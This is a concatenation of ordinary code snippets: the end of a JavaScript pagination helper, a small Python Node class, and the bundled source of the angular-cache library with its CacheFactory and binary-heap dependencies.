const getNextPageProps = ({ ariaLabel, ...props } = {}) => {
return {
'aria-label': ariaLabel || 'Next Page',
...props
};
};
const getPageProps = ({ ariaLabel, page, current, ...other } = {}) => {
let ariaLabelText = `Page ${page}`;
if (current && !ariaLabel) {
ariaLabelText = `Current page, Page ${page}`;
}
return {
'aria-label': ariaLabel || ariaLabelText,
current,
...other
};
};
return {
selectedItem,
focusedItem,
getContainerProps: props => getControlledContainerProps(getContainerProps(props)),
getPageProps: props => getItemProps(getPageProps(props)),
getPreviousPageProps: props => getItemProps(getPreviousPageProps(props)),
getNextPageProps: props => getItemProps(getNextPageProps(props))
};
}
|
class Node(object):
def __init__(self, ip: str, port: int, is_super_node: bool):
self.ip = ip
self.port = port
self.is_super_node = is_super_node
def __eq__(self, other):
if isinstance(other, Node):
return self.ip == other.ip and \
self.port == other.port and \
self.is_super_node == other.is_super_node
return False
def __repr__(self):
return f'Node({self.ip}, {self.port}, {self.is_super_node})'
def __dict__(self):
return self.to_json()
def to_json(self):
return {'node': {
'ip': self.ip,
'port': self.port,
'is_super_node': self.is_super_node
}}
|
/*!
* angular-cache
* @version 4.5.0 - Homepage <https://github.com/jmdobry/angular-cache>
* @author Jason Dobry <[email protected]>
* @copyright (c) 2013-2016 Jason Dobry
* @license MIT <https://github.com/jmdobry/angular-cache/blob/master/LICENSE>
*
* @overview angular-cache is a very useful replacement for Angular's $cacheFactory.
*/
(function webpackUniversalModuleDefinition(root, factory) {
if(typeof exports === 'object' && typeof module === 'object')
module.exports = factory(require("angular"));
else if(typeof define === 'function' && define.amd)
define("angular-cache", ["angular"], factory);
else if(typeof exports === 'object')
exports["angularCacheModuleName"] = factory(require("angular"));
else
root["angularCacheModuleName"] = factory(root["angular"]);
})(this, function(__WEBPACK_EXTERNAL_MODULE_1__) {
return /******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var angular = __webpack_require__(1);
var CacheFactory = __webpack_require__(2);
CacheFactory.utils.equals = angular.equals;
CacheFactory.utils.isObject = angular.isObject;
CacheFactory.utils.fromJson = angular.fromJson;
function BinaryHeapProvider() {
this.$get = function () {
return CacheFactory.BinaryHeap;
};
}
function CacheFactoryProvider() {
this.defaults = CacheFactory.defaults;
this.defaults.storagePrefix = 'angular-cache.caches.';
this.$get = ['$q', function ($q) {
CacheFactory.utils.Promise = $q;
return CacheFactory;
}];
}
angular.module('angular-cache', []).provider('BinaryHeap', BinaryHeapProvider).provider('CacheFactory', CacheFactoryProvider);
module.exports = 'angular-cache';
try {
module.exports.name = 'angular-cache';
} catch (err) {}
/***/ },
/* 1 */
/***/ function(module, exports) {
module.exports = __WEBPACK_EXTERNAL_MODULE_1__;
/***/ },
/* 2 */
/***/ function(module, exports, __webpack_require__) {
/*!
* cachefactory
* @version 1.4.0 - Homepage <https://github.com/jmdobry/CacheFactory>
* @author Jason Dobry <[email protected]>
* @copyright (c) 2013-2016 Jason Dobry
* @license MIT <https://github.com/jmdobry/CacheFactory/blob/master/LICENSE>
*
* @overview CacheFactory is a very simple and useful cache for the browser.
*/
(function webpackUniversalModuleDefinition(root, factory) {
if(true)
module.exports = factory();
else if(typeof define === 'function' && define.amd)
define("cachefactory", [], factory);
else if(typeof exports === 'object')
exports["CacheFactory"] = factory();
else
root["CacheFactory"] = factory();
})(this, function() {
return /******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var BinaryHeap = __webpack_require__(1);
var _Promise = null;
try {
_Promise = window.Promise;
} catch (e) {}
var utils = {
isNumber: function isNumber(value) {
return typeof value === 'number';
},
isString: function isString(value) {
return typeof value === 'string';
},
isObject: function isObject(value) {
return value !== null && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object';
},
isFunction: function isFunction(value) {
return typeof value === 'function';
},
fromJson: function fromJson(value) {
return JSON.parse(value);
},
equals: function equals(a, b) {
return a === b;
},
Promise: _Promise
};
function _keys(collection) {
var keys = [];
var key = undefined;
if (!utils.isObject(collection)) {
return keys;
}
for (key in collection) {
if (collection.hasOwnProperty(key)) {
keys.push(key);
}
}
return keys;
}
function _isPromiseLike(value) {
return value && typeof value.then === 'function';
}
function _stringifyNumber(number) {
if (utils.isNumber(number)) {
return number.toString();
}
return number;
}
function _keySet(collection) {
var keySet = {};
var key = undefined;
if (!utils.isObject(collection)) {
return keySet;
}
for (key in collection) {
if (collection.hasOwnProperty(key)) {
keySet[key] = key;
}
}
return keySet;
}
var defaults = {
capacity: Number.MAX_VALUE,
maxAge: Number.MAX_VALUE,
deleteOnExpire: 'none',
onExpire: null,
cacheFlushInterval: null,
recycleFreq: 1000,
storageMode: 'memory',
storageImpl: null,
disabled: false,
storagePrefix: 'cachefactory.caches.',
storeOnResolve: false,
storeOnReject: false
};
var caches = {};
function createCache(cacheId, options) {
if (cacheId in caches) {
throw new Error(cacheId + ' already exists!');
} else if (!utils.isString(cacheId)) {
throw new Error('cacheId must be a string!');
}
var $$data = {};
var $$promises = {};
var $$storage = null;
var $$expiresHeap = new BinaryHeap(function (x) {
return x.expires;
}, utils.equals);
var $$lruHeap = new BinaryHeap(function (x) {
return x.accessed;
}, utils.equals);
var cache = caches[cacheId] = {
$$id: cacheId,
destroy: function destroy() {
clearInterval(this.$$cacheFlushIntervalId);
clearInterval(this.$$recycleFreqId);
this.removeAll();
if ($$storage) {
$$storage().removeItem(this.$$prefix + '.keys');
$$storage().removeItem(this.$$prefix);
}
$$storage = null;
$$data = null;
$$lruHeap = null;
$$expiresHeap = null;
this.$$prefix = null;
delete caches[this.$$id];
},
disable: function disable() {
this.$$disabled = true;
},
enable: function enable() {
delete this.$$disabled;
},
get: function get(key, options) {
var _this2 = this;
if (Array.isArray(key)) {
var _ret = function () {
var keys = key;
var values = [];
keys.forEach(function (key) {
var value = _this2.get(key, options);
if (value !== null && value !== undefined) {
values.push(value);
}
});
return {
v: values
};
}();
if ((typeof _ret === 'undefined' ? 'undefined' : _typeof(_ret)) === "object") return _ret.v;
} else {
key = _stringifyNumber(key);
if (this.$$disabled) {
return;
}
}
options = options || {};
if (!utils.isString(key)) {
throw new Error('key must be a string!');
} else if (options && !utils.isObject(options)) {
throw new Error('options must be an object!');
} else if (options.onExpire && !utils.isFunction(options.onExpire)) {
throw new Error('options.onExpire must be a function!');
}
var item = undefined;
if ($$storage) {
if ($$promises[key]) {
return $$promises[key];
}
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
if (itemJson) {
item = utils.fromJson(itemJson);
} else {
return;
}
} else if (utils.isObject($$data)) {
if (!(key in $$data)) {
return;
}
item = $$data[key];
}
var value = item.value;
var now = new Date().getTime();
if ($$storage) {
$$lruHeap.remove({
key: key,
accessed: item.accessed
});
item.accessed = now;
$$lruHeap.push({
key: key,
accessed: now
});
} else {
$$lruHeap.remove(item);
item.accessed = now;
$$lruHeap.push(item);
}
if (this.$$deleteOnExpire === 'passive' && 'expires' in item && item.expires < now) {
this.remove(key);
if (this.$$onExpire) {
this.$$onExpire(key, item.value, options.onExpire);
} else if (options.onExpire) {
options.onExpire.call(this, key, item.value);
}
value = undefined;
} else if ($$storage) {
$$storage().setItem(this.$$prefix + '.data.' + key, JSON.stringify(item));
}
return value;
},
info: function info(key) {
if (key) {
var item = undefined;
if ($$storage) {
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
if (itemJson) {
item = utils.fromJson(itemJson);
return {
created: item.created,
accessed: item.accessed,
expires: item.expires,
isExpired: new Date().getTime() - item.created > (item.maxAge || this.$$maxAge)
};
} else {
return undefined;
}
} else if (utils.isObject($$data) && key in $$data) {
item = $$data[key];
return {
created: item.created,
accessed: item.accessed,
expires: item.expires,
isExpired: new Date().getTime() - item.created > (item.maxAge || this.$$maxAge)
};
} else {
return undefined;
}
} else {
return {
id: this.$$id,
capacity: this.$$capacity,
maxAge: this.$$maxAge,
deleteOnExpire: this.$$deleteOnExpire,
onExpire: this.$$onExpire,
cacheFlushInterval: this.$$cacheFlushInterval,
recycleFreq: this.$$recycleFreq,
storageMode: this.$$storageMode,
storageImpl: $$storage ? $$storage() : undefined,
disabled: !!this.$$disabled,
size: $$lruHeap && $$lruHeap.size() || 0
};
}
},
keys: function keys() {
if ($$storage) {
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
if (keysJson) {
return utils.fromJson(keysJson);
} else {
return [];
}
} else {
return _keys($$data);
}
},
keySet: function keySet() {
if ($$storage) {
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
var kSet = {};
if (keysJson) {
var keys = utils.fromJson(keysJson);
for (var i = 0; i < keys.length; i++) {
kSet[keys[i]] = keys[i];
}
}
return kSet;
} else {
return _keySet($$data);
}
},
put: function put(key, value, options) {
var _this3 = this;
options || (options = {});
var storeOnResolve = 'storeOnResolve' in options ? !!options.storeOnResolve : this.$$storeOnResolve;
var storeOnReject = 'storeOnReject' in options ? !!options.storeOnReject : this.$$storeOnReject;
var getHandler = function getHandler(store, isError) {
return function (v) {
if (store) {
delete $$promises[key];
if (utils.isObject(v) && 'status' in v && 'data' in v) {
v = [v.status, v.data, v.headers(), v.statusText];
_this3.put(key, v);
} else {
_this3.put(key, v);
}
}
if (isError) {
if (utils.Promise) {
return utils.Promise.reject(v);
} else {
throw v;
}
} else {
return v;
}
};
};
if (this.$$disabled || !utils.isObject($$data) || value === null || value === undefined) {
return;
}
key = _stringifyNumber(key);
if (!utils.isString(key)) {
throw new Error('key must be a string!');
}
var now = new Date().getTime();
var item = {
key: key,
value: _isPromiseLike(value) ? value.then(getHandler(storeOnResolve, false), getHandler(storeOnReject, true)) : value,
created: options.created === undefined ? now : options.created,
accessed: options.accessed === undefined ? now : options.accessed
};
if (options.maxAge) {
item.maxAge = options.maxAge;
}
if (options.expires === undefined) {
item.expires = item.created + (item.maxAge || this.$$maxAge);
} else {
item.expires = options.expires;
}
if ($$storage) {
if (_isPromiseLike(item.value)) {
$$promises[key] = item.value;
return $$promises[key];
}
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
var keys = keysJson ? utils.fromJson(keysJson) : [];
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
// Remove existing
if (itemJson) {
this.remove(key);
}
// Add to expires heap
$$expiresHeap.push({
key: key,
expires: item.expires
});
// Add to lru heap
$$lruHeap.push({
key: key,
accessed: item.accessed
});
// Set item
$$storage().setItem(this.$$prefix + '.data.' + key, JSON.stringify(item));
var exists = false;
for (var i = 0; i < keys.length; i++) {
if (keys[i] === key) {
exists = true;
break;
}
}
if (!exists) {
keys.push(key);
}
$$storage().setItem(this.$$prefix + '.keys', JSON.stringify(keys));
} else {
// Remove existing
if ($$data[key]) {
this.remove(key);
}
// Add to expires heap
$$expiresHeap.push(item);
// Add to lru heap
$$lruHeap.push(item);
// Set item
$$data[key] = item;
delete $$promises[key];
}
// Handle exceeded capacity
if ($$lruHeap.size() > this.$$capacity) {
this.remove($$lruHeap.peek().key);
}
return value;
},
remove: function remove(key) {
key += '';
delete $$promises[key];
if ($$storage) {
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
if (itemJson) {
var item = utils.fromJson(itemJson);
$$lruHeap.remove({
key: key,
accessed: item.accessed
});
$$expiresHeap.remove({
key: key,
expires: item.expires
});
$$storage().removeItem(this.$$prefix + '.data.' + key);
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
var keys = keysJson ? utils.fromJson(keysJson) : [];
var index = keys.indexOf(key);
if (index >= 0) {
keys.splice(index, 1);
}
$$storage().setItem(this.$$prefix + '.keys', JSON.stringify(keys));
return item.value;
}
} else if (utils.isObject($$data)) {
var value = $$data[key] ? $$data[key].value : undefined;
$$lruHeap.remove($$data[key]);
$$expiresHeap.remove($$data[key]);
$$data[key] = null;
delete $$data[key];
return value;
}
},
removeAll: function removeAll() {
if ($$storage) {
$$lruHeap.removeAll();
$$expiresHeap.removeAll();
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
if (keysJson) {
var keys = utils.fromJson(keysJson);
for (var i = 0; i < keys.length; i++) {
this.remove(keys[i]);
}
}
$$storage().setItem(this.$$prefix + '.keys', JSON.stringify([]));
} else if (utils.isObject($$data)) {
$$lruHeap.removeAll();
$$expiresHeap.removeAll();
for (var key in $$data) {
$$data[key] = null;
}
$$data = {};
} else {
$$lruHeap.removeAll();
$$expiresHeap.removeAll();
$$data = {};
}
$$promises = {};
},
removeExpired: function removeExpired() {
var now = new Date().getTime();
var expired = {};
var key = undefined;
var expiredItem = undefined;
while ((expiredItem = $$expiresHeap.peek()) && expiredItem.expires <= now) {
expired[expiredItem.key] = expiredItem.value ? expiredItem.value : null;
$$expiresHeap.pop();
}
if ($$storage) {
for (key in expired) {
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
if (itemJson) {
expired[key] = utils.fromJson(itemJson).value;
this.remove(key);
}
}
} else {
for (key in expired) {
this.remove(key);
}
}
if (this.$$onExpire) {
for (key in expired) {
this.$$onExpire(key, expired[key]);
}
}
return expired;
},
setCacheFlushInterval: function setCacheFlushInterval(cacheFlushInterval) {
var _this = this;
if (cacheFlushInterval === null) {
delete _this.$$cacheFlushInterval;
} else if (!utils.isNumber(cacheFlushInterval)) {
throw new Error('cacheFlushInterval must be a number!');
} else if (cacheFlushInterval < 0) {
throw new Error('cacheFlushInterval must be greater than zero!');
} else if (cacheFlushInterval !== _this.$$cacheFlushInterval) {
_this.$$cacheFlushInterval = cacheFlushInterval;
clearInterval(_this.$$cacheFlushIntervalId); // eslint-disable-line
_this.$$cacheFlushIntervalId = setInterval(function () {
_this.removeAll();
}, _this.$$cacheFlushInterval);
}
},
setCapacity: function setCapacity(capacity) {
if (capacity === null) {
delete this.$$capacity;
} else if (!utils.isNumber(capacity)) {
throw new Error('capacity must be a number!');
} else if (capacity < 0) {
throw new Error('capacity must be greater than zero!');
} else {
this.$$capacity = capacity;
}
var removed = {};
while ($$lruHeap.size() > this.$$capacity) {
removed[$$lruHeap.peek().key] = this.remove($$lruHeap.peek().key);
}
return removed;
},
setDeleteOnExpire: function setDeleteOnExpire(deleteOnExpire, setRecycleFreq) {
if (deleteOnExpire === null) {
delete this.$$deleteOnExpire;
} else if (!utils.isString(deleteOnExpire)) {
throw new Error('deleteOnExpire must be a string!');
} else if (deleteOnExpire !== 'none' && deleteOnExpire !== 'passive' && deleteOnExpire !== 'aggressive') {
throw new Error('deleteOnExpire must be "none", "passive" or "aggressive"!');
} else {
this.$$deleteOnExpire = deleteOnExpire;
}
if (setRecycleFreq !== false) {
this.setRecycleFreq(this.$$recycleFreq);
}
},
setMaxAge: function setMaxAge(maxAge) {
if (maxAge === null) {
this.$$maxAge = Number.MAX_VALUE;
} else if (!utils.isNumber(maxAge)) {
throw new Error('maxAge must be a number!');
} else if (maxAge < 0) {
throw new Error('maxAge must be greater than zero!');
} else {
this.$$maxAge = maxAge;
}
var i = undefined,
keys = undefined,
key = undefined;
$$expiresHeap.removeAll();
if ($$storage) {
var keysJson = $$storage().getItem(this.$$prefix + '.keys');
keys = keysJson ? utils.fromJson(keysJson) : [];
for (i = 0; i < keys.length; i++) {
key = keys[i];
var itemJson = $$storage().getItem(this.$$prefix + '.data.' + key);
if (itemJson) {
var item = utils.fromJson(itemJson);
if (this.$$maxAge === Number.MAX_VALUE) {
item.expires = Number.MAX_VALUE;
} else {
item.expires = item.created + (item.maxAge || this.$$maxAge);
}
$$expiresHeap.push({
key: key,
expires: item.expires
});
}
}
} else {
keys = _keys($$data);
for (i = 0; i < keys.length; i++) {
key = keys[i];
if (this.$$maxAge === Number.MAX_VALUE) {
$$data[key].expires = Number.MAX_VALUE;
} else {
$$data[key].expires = $$data[key].created + ($$data[key].maxAge || this.$$maxAge);
}
$$expiresHeap.push($$data[key]);
}
}
if (this.$$deleteOnExpire === 'aggressive') {
return this.removeExpired();
} else {
return {};
}
},
setOnExpire: function setOnExpire(onExpire) {
if (onExpire === null) {
delete this.$$onExpire;
} else if (!utils.isFunction(onExpire)) {
throw new Error('onExpire must be a function!');
} else {
this.$$onExpire = onExpire;
}
},
setOptions: function setOptions(cacheOptions, strict) {
cacheOptions = cacheOptions || {};
strict = !!strict;
if (!utils.isObject(cacheOptions)) {
throw new Error('cacheOptions must be an object!');
}
if ('storagePrefix' in cacheOptions) {
this.$$storagePrefix = cacheOptions.storagePrefix;
} else if (strict) {
this.$$storagePrefix = defaults.storagePrefix;
}
this.$$prefix = this.$$storagePrefix + this.$$id;
if ('disabled' in cacheOptions) {
this.$$disabled = !!cacheOptions.disabled;
} else if (strict) {
this.$$disabled = defaults.disabled;
}
if ('deleteOnExpire' in cacheOptions) {
this.setDeleteOnExpire(cacheOptions.deleteOnExpire, false);
} else if (strict) {
this.setDeleteOnExpire(defaults.deleteOnExpire, false);
}
if ('recycleFreq' in cacheOptions) {
this.setRecycleFreq(cacheOptions.recycleFreq);
} else if (strict) {
this.setRecycleFreq(defaults.recycleFreq);
}
if ('maxAge' in cacheOptions) {
this.setMaxAge(cacheOptions.maxAge);
} else if (strict) {
this.setMaxAge(defaults.maxAge);
}
if ('storeOnResolve' in cacheOptions) {
this.$$storeOnResolve = !!cacheOptions.storeOnResolve;
} else if (strict) {
this.$$storeOnResolve = defaults.storeOnResolve;
}
if ('storeOnReject' in cacheOptions) {
this.$$storeOnReject = !!cacheOptions.storeOnReject;
} else if (strict) {
this.$$storeOnReject = defaults.storeOnReject;
}
if ('capacity' in cacheOptions) {
this.setCapacity(cacheOptions.capacity);
} else if (strict) {
this.setCapacity(defaults.capacity);
}
if ('cacheFlushInterval' in cacheOptions) {
this.setCacheFlushInterval(cacheOptions.cacheFlushInterval);
} else if (strict) {
this.setCacheFlushInterval(defaults.cacheFlushInterval);
}
if ('onExpire' in cacheOptions) {
this.setOnExpire(cacheOptions.onExpire);
} else if (strict) {
this.setOnExpire(defaults.onExpire);
}
if ('storageMode' in cacheOptions || 'storageImpl' in cacheOptions) {
this.setStorageMode(cacheOptions.storageMode || defaults.storageMode, cacheOptions.storageImpl || defaults.storageImpl);
} else if (strict) {
this.setStorageMode(defaults.storageMode, defaults.storageImpl);
}
},
setRecycleFreq: function setRecycleFreq(recycleFreq) {
if (recycleFreq === null) {
delete this.$$recycleFreq;
} else if (!utils.isNumber(recycleFreq)) {
throw new Error('recycleFreq must be a number!');
} else if (recycleFreq < 0) {
throw new Error('recycleFreq must be greater than zero!');
} else {
this.$$recycleFreq = recycleFreq;
}
clearInterval(this.$$recycleFreqId);
if (this.$$deleteOnExpire === 'aggressive') {
(function (self) {
self.$$recycleFreqId = setInterval(function () {
self.removeExpired();
}, self.$$recycleFreq);
})(this);
} else {
delete this.$$recycleFreqId;
}
},
setStorageMode: function setStorageMode(storageMode, storageImpl) {
if (!utils.isString(storageMode)) {
throw new Error('storageMode must be a string!');
} else if (storageMode !== 'memory' && storageMode !== 'localStorage' && storageMode !== 'sessionStorage') {
throw new Error('storageMode must be "memory", "localStorage" or "sessionStorage"!');
}
var prevStorage = $$storage;
var prevData = $$data;
var shouldReInsert = false;
var items = {};
function load(prevStorage, prevData) {
var keys = this.keys();
var length = keys.length;
if (length) {
var _key = undefined;
var prevDataIsObject = utils.isObject(prevData);
for (var i = 0; i < length; i++) {
_key = keys[i];
if (prevStorage) {
var itemJson = prevStorage().getItem(this.$$prefix + '.data.' + _key);
if (itemJson) {
items[_key] = utils.fromJson(itemJson);
}
} else if (prevDataIsObject) {
items[_key] = prevData[_key];
}
this.remove(_key);
}
shouldReInsert = true;
}
}
if (!this.$$initializing) {
load.call(this, prevStorage, prevData);
}
this.$$storageMode = storageMode;
if (storageImpl) {
if (!utils.isObject(storageImpl)) {
throw new Error('storageImpl must be an object!');
} else if (!('setItem' in storageImpl) || typeof storageImpl.setItem !== 'function') {
throw new Error('storageImpl must implement "setItem(key, value)"!');
} else if (!('getItem' in storageImpl) || typeof storageImpl.getItem !== 'function') {
throw new Error('storageImpl must implement "getItem(key)"!');
} else if (!('removeItem' in storageImpl) || typeof storageImpl.removeItem !== 'function') {
throw new Error('storageImpl must implement "removeItem(key)"!');
}
$$storage = function $$storage() {
return storageImpl;
};
} else if (this.$$storageMode === 'localStorage') {
try {
localStorage.setItem('cachefactory', 'cachefactory');
localStorage.removeItem('cachefactory');
$$storage = function $$storage() {
return localStorage;
};
} catch (e) {
$$storage = null;
this.$$storageMode = 'memory';
}
} else if (this.$$storageMode === 'sessionStorage') {
try {
sessionStorage.setItem('cachefactory', 'cachefactory');
sessionStorage.removeItem('cachefactory');
$$storage = function $$storage() {
return sessionStorage;
};
} catch (e) {
$$storage = null;
this.$$storageMode = 'memory';
}
} else {
$$storage = null;
this.$$storageModel = 'memory';
}
if (this.$$initializing) {
load.call(this, $$storage, $$data);
}
if (shouldReInsert) {
var item = undefined;
for (var key in items) {
item = items[key];
this.put(key, item.value, {
created: item.created,
accessed: item.accessed,
expires: item.expires
});
}
}
},
touch: function touch(key) {
var _this4 = this;
if (key) {
var val = this.get(key, {
onExpire: function onExpire(k, v) {
return _this4.put(k, v);
}
});
if (val) {
this.put(key, val);
}
} else {
var keys = this.keys();
for (var i = 0; i < keys.length; i++) {
this.touch(keys[i]);
}
}
},
values: function values() {
var keys = this.keys();
var items = [];
for (var i = 0; i < keys.length; i++) {
items.push(this.get(keys[i]));
}
return items;
}
};
cache.$$initializing = true;
cache.setOptions(options, true);
cache.$$initializing = false;
return cache;
}
function CacheFactory(cacheId, options) {
return createCache(cacheId, options);
}
CacheFactory.createCache = createCache;
CacheFactory.defaults = defaults;
CacheFactory.info = function () {
var keys = _keys(caches);
var info = {
size: keys.length,
caches: {}
};
for (var opt in defaults) {
if (defaults.hasOwnProperty(opt)) {
info[opt] = defaults[opt];
}
}
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
info.caches[key] = caches[key].info();
}
return info;
};
CacheFactory.get = function (cacheId) {
return caches[cacheId];
};
CacheFactory.keySet = function () {
return _keySet(caches);
};
CacheFactory.keys = function () {
return _keys(caches);
};
CacheFactory.destroy = function (cacheId) {
if (caches[cacheId]) {
caches[cacheId].destroy();
delete caches[cacheId];
}
};
CacheFactory.destroyAll = function () {
for (var cacheId in caches) {
caches[cacheId].destroy();
}
caches = {};
};
CacheFactory.clearAll = function () {
for (var cacheId in caches) {
caches[cacheId].removeAll();
}
};
CacheFactory.removeExpiredFromAll = function () {
var expired = {};
for (var cacheId in caches) {
expired[cacheId] = caches[cacheId].removeExpired();
}
return expired;
};
CacheFactory.enableAll = function () {
for (var cacheId in caches) {
caches[cacheId].$$disabled = false;
}
};
CacheFactory.disableAll = function () {
for (var cacheId in caches) {
caches[cacheId].$$disabled = true;
}
};
CacheFactory.touchAll = function () {
for (var cacheId in caches) {
caches[cacheId].touch();
}
};
CacheFactory.utils = utils;
CacheFactory.BinaryHeap = BinaryHeap;
module.exports = CacheFactory;
/***/ },
/* 1 */
/***/ function(module, exports, __webpack_require__) {
/*!
* yabh
* @version 1.1.0 - Homepage <http://jmdobry.github.io/yabh/>
* @author Jason Dobry <[email protected]>
* @copyright (c) 2015 Jason Dobry
* @license MIT <https://github.com/jmdobry/yabh/blob/master/LICENSE>
*
* @overview Yet another Binary Heap.
*/
(function webpackUniversalModuleDefinition(root, factory) {
if(true)
module.exports = factory();
else if(typeof define === 'function' && define.amd)
define("yabh", factory);
else if(typeof exports === 'object')
exports["BinaryHeap"] = factory();
else
root["BinaryHeap"] = factory();
})(this, function() {
return /******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
/**
* @method bubbleUp
* @param {array} heap The heap.
* @param {function} weightFunc The weight function.
* @param {number} n The index of the element to bubble up.
*/
function bubbleUp(heap, weightFunc, n) {
var element = heap[n];
var weight = weightFunc(element);
// When at 0, an element can not go up any further.
while (n > 0) {
// Compute the parent element's index, and fetch it.
var parentN = Math.floor((n + 1) / 2) - 1;
var _parent = heap[parentN];
// If the parent has a lesser weight, things are in order and we
// are done.
if (weight >= weightFunc(_parent)) {
break;
} else {
heap[parentN] = element;
heap[n] = _parent;
n = parentN;
}
}
}
/**
* @method bubbleDown
* @param {array} heap The heap.
* @param {function} weightFunc The weight function.
* @param {number} n The index of the element to sink down.
*/
var bubbleDown = function bubbleDown(heap, weightFunc, n) {
var length = heap.length;
var node = heap[n];
var nodeWeight = weightFunc(node);
while (true) {
var child2N = (n + 1) * 2,
child1N = child2N - 1;
var swap = null;
if (child1N < length) {
var child1 = heap[child1N],
child1Weight = weightFunc(child1);
// If the score is less than our node's, we need to swap.
if (child1Weight < nodeWeight) {
swap = child1N;
}
}
// Do the same checks for the other child.
if (child2N < length) {
var child2 = heap[child2N],
child2Weight = weightFunc(child2);
if (child2Weight < (swap === null ? nodeWeight : weightFunc(heap[child1N]))) {
swap = child2N;
}
}
if (swap === null) {
break;
} else {
heap[n] = heap[swap];
heap[swap] = node;
n = swap;
}
}
};
function BinaryHeap(weightFunc, compareFunc) {
if (!weightFunc) {
weightFunc = function (x) {
return x;
};
}
if (!compareFunc) {
compareFunc = function (x, y) {
return x === y;
};
}
if (typeof weightFunc !== 'function') {
throw new Error('BinaryHeap([weightFunc][, compareFunc]): "weightFunc" must be a function!');
}
if (typeof compareFunc !== 'function') {
throw new Error('BinaryHeap([weightFunc][, compareFunc]): "compareFunc" must be a function!');
}
this.weightFunc = weightFunc;
this.compareFunc = compareFunc;
this.heap = [];
}
var BHProto = BinaryHeap.prototype;
BHProto.push = function (node) {
this.heap.push(node);
bubbleUp(this.heap, this.weightFunc, this.heap.length - 1);
};
BHProto.peek = function () {
return this.heap[0];
};
BHProto.pop = function () {
var front = this.heap[0];
var end = this.heap.pop();
if (this.heap.length > 0) {
this.heap[0] = end;
bubbleDown(this.heap, this.weightFunc, 0);
}
return front;
};
BHProto.remove = function (node) {
var length = this.heap.length;
for (var i = 0; i < length; i++) {
if (this.compareFunc(this.heap[i], node)) {
var removed = this.heap[i];
var end = this.heap.pop();
if (i !== length - 1) {
this.heap[i] = end;
bubbleUp(this.heap, this.weightFunc, i);
bubbleDown(this.heap, this.weightFunc, i);
}
return removed;
}
}
return null;
};
BHProto.removeAll = function () {
this.heap = [];
};
BHProto.size = function () {
return this.heap.length;
};
module.exports = BinaryHeap;
/***/ }
/******/ ])
});
;
/***/ }
/******/ ])
});
;
//# sourceMappingURL=cachefactory.js.map
/***/ }
/******/ ])
});
;
//# sourceMappingURL=angular-cache.js.map |
